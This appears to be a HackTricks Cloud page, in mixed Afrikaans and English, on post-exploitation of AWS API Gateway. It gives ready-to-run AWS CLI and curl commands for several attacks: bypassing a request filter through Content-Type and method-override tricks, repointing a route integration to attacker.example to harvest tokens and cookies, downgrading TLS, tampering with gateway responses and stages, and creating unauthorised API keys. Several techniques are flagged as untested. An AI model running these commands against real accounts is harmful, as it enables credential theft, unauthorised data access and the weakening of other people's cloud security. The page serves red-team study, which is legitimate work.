AWS - API Gateway Post Exploitation
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
API Gateway
Vir meer inligting sien:
Toegang tot nie-blootgestelde APIs
You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn’t exposed before.
Bypass Request body passthrough
Hierdie tegniek is gevind in this CTF writeup.
Soos aangedui in die AWS documentation in die PassthroughBehavior afdeling, sal standaard die waarde WHEN_NO_MATCH, wanneer die Content-Type header van die versoek gecheck word, die versoek na die back end stuur sonder transformasie.
Daarom het die API Gateway in die CTF ’n integration template gehad wat preventing the flag from being exfiltrated in ’n response toe ’n versoek gestuur is met Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Egter, om ’n versoek te stuur met Content-type: text/json sou daardie filter omseil.
Uiteindelik, aangesien die API Gateway slegs Get en Options toegelaat het, was dit moontlik om ’n arbitrêre dynamoDB-navraag sonder enige beperking te stuur deur ’n POST-versoek met die navraag in die body te stuur en die header X-HTTP-Method-Override: GET te gebruik:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Gebruikplanne DoS
In die Enumeration afdeling kan jy sien hoe om die gebruikplan van die sleutels te verkry. As jy die sleutel het en dit is beperk tot X gebruike per maand, kan jy dit net gebruik en ’n DoS veroorsaak.
Die API Key hoef net ingesluit te word in ’n HTTP header genaamd x-api-key.
Wissel Route-integrasie om exfil verkeer (HTTP APIs / apigatewayv2)
As jy ’n HTTP API integration kan opdateer, kan jy ’n sensitiewe roete (bv. /login, /token, /submit) herlei na ’n deur-aanvaller-beheerde HTTP-endpoint en stilweg versamel headers en bodies (cookies, Authorization bearer tokens, session ids, API keys, secrets sent by internal jobs, etc.).
Voorbeeld-werkstroom:
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
Aantekeninge:
- Vir HTTP APIs tree veranderinge gewoonlik onmiddellik in werking (anders as by REST APIs waar jy tipies ’n deployment moet skep).
- Of jy na ’n arbitrary URL kan wys, hang af van die integration type/config; in sommige gevalle kan jy ook die integration type verander wanneer jy dit patch.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
’n aanvaller met die permissions apigateway:UpdateGatewayResponse en apigateway:CreateDeployment kan ’n bestaande Gateway Response wysig om custom headers of response templates in te sluit wat sensitiewe inligting leak of kwaadaardige scripts uitvoer.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potensiële impak: Leakage van sensitiewe inligting, die uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API resources.
Note
Benodig toetsing
apigateway:UpdateStage, apigateway:CreateDeployment
’n aanvaller met die permissies apigateway:UpdateStage en apigateway:CreateDeployment kan ’n bestaande API Gateway stage wysig om verkeer na ’n ander stage te herlei of die caching-instellings te verander om ongemagtigde toegang tot gecachte data te verkry.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potensiële impak: Ongeoorloofde toegang tot gekasheerde data, ontwrigting of onderskeping van API-verkeer.
Note
Moet getoets word
apigateway:PutMethodResponse, apigateway:CreateDeployment
’n Aanvaller met die permissies apigateway:PutMethodResponse en apigateway:CreateDeployment kan die method response van ’n bestaande API Gateway REST API-metode wysig om aangepaste headers of response templates in te sluit wat gevoelige inligting leaken of kwaadwillige skripte uitvoer.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potensiële impak: Lekkasie van sensitiewe inligting, uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-bronne.
Note
Moet getoets word
apigateway:UpdateRestApi, apigateway:CreateDeployment
apigateway:UpdateRestApi en apigateway:CreateDeployment kan ’n aanvaller met die permissies apigateway:UpdateRestApi en apigateway:CreateDeployment kan die API Gateway REST API-instellings wysig om logging uit te skakel of die minimum TLS version te verander, wat moontlik die sekuriteit van die API verswak.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potensiële impak: Verswakking van die sekuriteit van die API, wat moontlik onbevoegde toegang toelaat of sensitiewe inligting kan blootstel.
Note
Benodig toetsing
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
’n aanvaller met permissies apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, en apigateway:CreateUsagePlanKey kan nuwe API keys skep, dit met usage plans assosieer, en dan hierdie keys gebruik vir onbevoegde toegang tot APIs.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Potensiële impak: Ongemagtigde toegang tot API-hulpbronne, omseiling van sekuriteitskontroles.
Note
Benodig toetsing
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

